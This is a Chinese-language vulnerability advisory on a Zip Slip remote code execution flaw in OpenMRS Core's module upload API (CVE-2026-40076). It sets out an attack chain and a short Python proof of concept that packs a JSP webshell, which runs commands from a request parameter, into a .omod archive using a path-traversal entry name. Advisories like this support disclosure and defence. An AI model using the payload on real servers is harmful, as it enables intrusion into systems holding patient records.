IPBUF安全漏洞报告
English
CVE-2026-40076 CVSS 8.8 高危

CVE-2026-40076 OpenMRS Core Zip Slip远程代码执行漏洞

披露日期: 2026-05-06

漏洞信息

漏洞编号
CVE-2026-40076
漏洞类型
远程代码执行 (RCE)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenMRS Core

相关标签

RCEOpenMRSZip Slip路径遍历任意文件写入

漏洞概述

OpenMRS Core模块上传功能存在Zip Slip路径遍历漏洞,受影响版本包括2.7.8及以前和2.8.0至2.8.5。攻击者利用此漏洞可在解压恶意.omod文件时绕过路径检查,将文件写入预期目录之外。通过上传恶意JSP文件至Web根目录并访问,攻击者可实现远程代码执行,且该过程仅需低权限认证,危害极大。

技术细节

该漏洞位于OpenMRS Core的模块上传REST API端点(POST `/openmrs/ws/rest/v1/module`)。在`WebModuleUtil.startModule()`方法中,系统自动解压上传的.omod文件。代码仅检查ZIP条目路径是否以特定前缀(如`..,`)开头,但未对路径进行规范化或严格的边界验证。这使得攻击者能够利用Zip Slip技术,构造包含路径遍历序列(如`../`)的恶意文件名(例如`web/module/../../../../malicious.jsp`)。解压过程中,恶意路径与目标路径直接拼接,导致文件被写入模块目录之外,甚至是Web应用程序根目录。配合JSP文件的解析特性,攻击者只需拥有模块上传权限,即可上传Webshell并触发远程代码执行。值得注意的是,`module.allow_web_admin`运行时属性仅在旧版UI控制器中生效,REST API端点未实施该检查,扩大了攻击面。

攻击链分析

STEP 1
1. 获取凭证
攻击者获取OpenMRS平台的一个具有模块上传权限的低权限账户。
STEP 2
2. 构造恶意载荷
攻击者创建一个特制的.omod(ZIP)文件,其中包含路径遍历条目(如web/module/../../../../shell.jsp)和恶意JSP代码。
STEP 3
3. 上传恶意文件
攻击者通过POST请求将恶意.omod文件发送至/openmrs/ws/rest/v1/module接口。
STEP 4
4. 触发漏洞
服务器在WebModuleUtil.startModule()中解压文件,由于未对路径进行规范化,恶意JSP文件被写入Web根目录。
STEP 5
5. 执行代码
攻击者通过浏览器访问服务器上的恶意JSP文件路径,从而在服务器端执行任意系统命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import zipfile import os # Create a malicious ZIP file (omod) # The goal is to write a JSP shell to the web root #利用Zip Slip技术构造恶意压缩包 malicious_jsp_content = '<%@ page import="java.io.*" %><%Runtime.getRuntime().exec(request.getParameter("cmd"));%>' zip_filename = 'malicious.omod' with zipfile.ZipFile(zip_filename, 'w') as zf: # The path traversal payload: ../../../../malicious.jsp # Assuming the extraction directory is deep enough, this lands in web root zinfo = zipfile.ZipInfo("web/module/../../../../malicious.jsp") zf.writestr(zinfo, malicious_jsp_content) print(f"Created {zip_filename}. Upload this to the module endpoint.")

影响范围

OpenMRS Core <= 2.7.8
2.8.0 <= OpenMRS Core <= 2.8.5

防御指南

临时缓解措施
建议立即升级至修复版本。在升级前,应通过网络访问控制列表(ACL)限制对`/openmrs/ws/rest/v1/module`端点的访问,或临时禁用模块上传功能,防止攻击者利用此漏洞上传恶意文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表